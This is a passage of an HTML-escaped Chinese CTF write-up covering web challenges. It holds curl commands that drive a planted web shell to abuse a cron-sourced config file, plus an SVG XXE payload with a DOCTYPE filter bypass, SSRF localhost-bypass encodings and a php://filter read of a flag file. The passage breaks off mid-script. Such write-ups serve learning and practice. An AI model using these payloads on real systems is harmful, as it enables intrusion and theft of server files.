&lt;/span&gt;&lt;span&gt;-mmin&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;+&quot;&lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;UPLOAD_TTL_MINUTES&lt;/span&gt;&lt;/span&gt;&lt;span&gt;:-&lt;/span&gt;&lt;span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-delete&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;展开&lt;/span&gt;&lt;span&gt;收起&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;查询后发现其中的 &lt;code&gt;source&lt;/code&gt; 命令能够以当前命令的权限来执行后面跟的参数所指向的文件，则如果能够修改该文件即可达到 &lt;code&gt;sudo&lt;/code&gt; 的效果从而读取 &lt;code&gt;flag&lt;/code&gt; 。由于定时任务的回显无法读取，所以只能使定时任务能够修改 &lt;code&gt;flag&lt;/code&gt; 为 &lt;code&gt;644&lt;/code&gt; 即可。&lt;/p&gt;&lt;p&gt;另外好像直接修改 &lt;code&gt;flag&lt;/code&gt; 的权限不行，要先复制一下去修改复制的文件的权限（？&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;curl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-k&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;https://79546a564770794f7565515a5937384d39476e5762-p80.chal.buptmerak.cn/storage/tmp/32db9bf55d1d.phtml?cmd=echo%20%27cp%20/flag%20/var/www/html/flag%3Bchmod%20644%20/var/www/html/flag%27%3E/var/lib/teahouse/cleanup.conf%26%26echo%20ok&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;curl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-k&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;https://79546a564770794f7565515a5937384d39476e5762-p80.chal.buptmerak.cn/storage/tmp/32db9bf55d1d.phtml?cmd=cat%20/var/www/html/flag&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;MinePortrait&lt;a href=&quot;#mineportrait&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;打开后发现是个星露谷的登陆界面，尝试随便输入账号密码，提示 &lt;code&gt;Invalid workshop badge.&lt;/code&gt;。&lt;/p&gt;&lt;p&gt;尝试查看 &lt;code&gt;robots.txt&lt;/code&gt; ，发现 &lt;code&gt;Disallow: /www.zip&lt;/code&gt; ，成功下载到两个文件。其中的 Python 文件展示了一个账号密码：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# leaked login source&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;USERNAME&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;m0rnis&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;PASSWORD&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;passw0rd&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;def&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;check_login&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;username&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;password&lt;/span&gt;&lt;/span&gt;&lt;span&gt;):&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;&lt;span&gt; username &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;USERNAME&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;and&lt;/span&gt;&lt;span&gt;&lt;span&gt; password &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;PASSWORD&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;True&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;False&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;尝试后成功登录进去，注意到得到了一个 &lt;code&gt;session: junimo-session-m0rnis&lt;/code&gt; ，比较奇怪的是是明文，尝试修改为 &lt;code&gt;admin&lt;/code&gt; 后发现要重新登录，暂时没发现有什么突破口。&lt;/p&gt;&lt;p&gt;再看登录后的界面是一个类似于图片格式转化的功能，难道跟玛德莱娜一样是文件上传漏洞吗？在进行了简单的前端代码审计后发现 &lt;code&gt;submit&lt;/code&gt; 被监听阻止默认事件并且在本地用 canvas 做了一个伪转化，但是有个关键的判断：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;source&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;===&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;svg&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;target&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;===&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;png&quot;&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;const&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;await&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;blobToText&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;file&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;/&amp;lt;!&lt;/span&gt;&lt;span&gt;\s&lt;/span&gt;&lt;span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;(doctype&lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;span&gt;entity)&lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;span&gt;SYSTEM&lt;/span&gt;&lt;/span&gt;&lt;span&gt;\s&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;[&quot;&apos;]&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;test&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;)) {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;setStatus&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;Sending SVG to the workshop renderer...&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;也就是说当原来的图为 svg ，目标转化为 png 时，会直接上传而不是本地伪转化。本地找了个 svg 上传一下，发现会先显示该 svg ，然后 submit 成功，服务端返回一个带有信纸背景的文字图 &lt;code&gt;Portrait conversion completed.&lt;/code&gt; 。这里请教 &lt;code&gt;m0rnis&lt;/code&gt; 学长后得知 &lt;code&gt;svg2png&lt;/code&gt; 是经典的一个问题，于是在写 wp 时上网查询相关关键词，得知 svg 实际上支持 js 和 xml 的一些标准，而这里的 xml 就会带来一个经典问题即 XXE ，同时 js 还会带来 XSS 问题。&lt;/p&gt;&lt;p&gt;在上传其他带有图像的 svg 时只会返回同一段文本，而只有 &lt;code&gt;&amp;lt;text&amp;gt;&amp;lt;/text&amp;gt;&lt;/code&gt; 的 svg 就会显示 text 的内容，所以 XXE 的方向应该就是通过读取外带 flag 到返回的图中来。&lt;/p&gt;&lt;p&gt;注意到本题 &lt;code&gt;www.zip&lt;/code&gt; 给出的另一个文件中有提到：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;old_note.txt&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Pelican Town workshop internal notes&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# private media helper:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#   service = 127.0.0.1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#   route = /fetch.php&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#   query = url&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# flag in flag.txt&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# The media helper is only reachable from the workshop network.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# It was kept for legacy artwork imports used by older portrait tools.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;也就是说存在一个可以通过 url 获取东西的服务只在 workshop network 可访问。前期排查突破口时有尝试通过修改 &lt;code&gt;host&lt;/code&gt; 、&lt;code&gt;xxf&lt;/code&gt; 的方式来访问均失败，而现在我们访问的 &lt;code&gt;/convert&lt;/code&gt; 的确是处在 workshop network 的，也就是说我们接下来就是要想办法让该接口去访问那个服务从而拿到 flag 。&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;lt;!&lt;/span&gt;&lt;span&gt;DOCTYPE&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;svg&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;&amp;lt;!&lt;/span&gt;&lt;/span&gt;&lt;span&gt;ENTITY&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;e&lt;/span&gt;&lt;span&gt; SYSTEM &lt;/span&gt;&lt;span&gt;&quot;http://example.com/&quot;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;svg&lt;/span&gt;&lt;span&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;e&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;svg&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;返回 &lt;code&gt;The Junimos found sensitive keywords within your XML. Go refine it!&lt;/code&gt; 说明存在关键词过滤器，经过多番尝试后发现关键词是 &lt;code&gt;&amp;lt;!DOCTYPE&amp;gt;&lt;/code&gt; ，但是可以通过在其中添加空格来绕过（这里不能使用编码转换来绕过，因为这样会使得 &lt;code&gt;&amp;lt;text&amp;gt;&lt;/code&gt; 不被正则匹配导致返回的值只为默认的 &lt;code&gt;Portrait conversion completed.&lt;/code&gt; ）：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;lt;! DOCTYPE svg [&amp;lt;! ENTITY e SYSTEM &quot;http://127.0.0.1/&quot;&amp;gt;]&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;svg&lt;/span&gt;&lt;span&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;e&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;svg&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;返回 &lt;code&gt;Remote media URL rejected: 127.0.0.1/&lt;/code&gt; ，查询后得知这是一个典型的 SSRF 过滤拦截。当服务器试图请求远程媒体资源时，它会检查 url 中的主机地址，一旦发现是 &lt;code&gt;127.0.0.1&lt;/code&gt; 或 &lt;code&gt;localhost&lt;/code&gt; 就会拒绝。而绕过方法有很多，以下列出对于本题可以绕过的方法：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://2130706433/      # 十进制&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://0x7f000001/      # 十六进制&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://0177.0.0.1/      # 八进制&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://0x7f.1/       # 十六进制 + 短写&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://[::ffff:127.0.0.1]/      # IPV6&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://[::ffff:7f00:1]/      # IPV6&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;以上这些会返回 &lt;code&gt;Conversion failed: HTTP Error 404: Not Found&lt;/code&gt; ，说明真的连上了。还有一些绕过方法本题仍然会被拒绝：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://127.1/      # 短写&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://expected.com@127.0.0.1/      # userinfo 混淆&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://127.0.0.1\@allowed.com/      # 反斜杠路径混淆&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;接下来如果直接使用 url 去访问 &lt;code&gt;/flag.txt&lt;/code&gt; 的话会返回 &lt;code&gt;media source rejected: missing media adapter&lt;/code&gt; ，根据好心出题人的 hint ：&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;祝尼魔们会拦下不少本机地址，却会收下用filter包好的信。&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;可知应当使用 &lt;code&gt;php://filter&lt;/code&gt; 进行一下流包装，选用 &lt;code&gt;base64&lt;/code&gt; 即可。&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://[::ffff:7f00:1]/fetch.php?url=php%3A//filter/convert.base64-encode/resource%3D%2Fflag.txt&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;最终得到的 base64 拿去解码即可获得 flag 。&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;misc&lt;a href=&quot;#misc&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;由于这次主要打的方向是 web ，且由于是第一次将 agent 应用在 ctf 中不太会引导 agent ，加上复盘 agent 做题过程花的时间久，导致本来想花时间打的 misc 方向基本上没有实际参与，只是拿 dsh 尝试了几道题，以下题解是尽量尝试整理 ds 的做法所写的。&lt;/p&gt;&lt;/blockquote&gt;&lt;section&gt;&lt;h3&gt;play it&lt;a href=&quot;#play-it&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;签到题，找个解数独的网站，然后写下 python 脚本去批量发送 &lt;code&gt;set&lt;/code&gt; 命令，最后 &lt;code&gt;submit&lt;/code&gt; 即可。&lt;/p&gt;&lt;p&gt;以下为脚本：&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#!/usr/bin/env python3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt; pwn &lt;/span&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; sys&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;HOST&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;747264534a636730614e30344b56526d487a68635a-p9999.chal.buptmerak.cn&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;PORT&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;443&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# 如果题目里的行列是从 1 开始的，把 BASE 改成 1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# 如果是从 0 开始的，保持 0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;BASE&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;context.log_level &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&apos;info&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
